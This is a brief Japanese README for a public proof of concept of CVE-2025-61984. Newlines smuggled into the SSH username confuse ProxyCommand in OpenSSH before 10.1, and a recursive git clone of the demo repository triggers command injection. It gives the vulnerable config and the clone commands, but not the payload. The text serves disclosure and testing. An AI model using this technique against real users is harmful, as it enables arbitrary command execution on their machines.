
これは、改行を使用してOpenSSH <10.1のProxyCommandを混乱させる概念実証です。詳細な解説。
以下を含む.ssh/configを設定します:
Host *.example.com
ProxyCommand some-command %r@%h:%p
(コマンドは何でも構いません。引数内のどこかに引用符で囲まれていない%rが必要なだけです。)
次に(bashの場合)実行します:
$ git clone --recursive https://github.com/dgl/cve-2025-61984-poc
または$SHELLとしてfishを使用している場合:
git clone --recursive -b fish https://github.com/dgl/cve-2025-61984-poc
シェルを使用していないがこれをテストしたい場合は、次のように実行できます:
$ SHELL=/bin/bash git clone --recursive https://github.com/dgl/cve-2025-61984-poc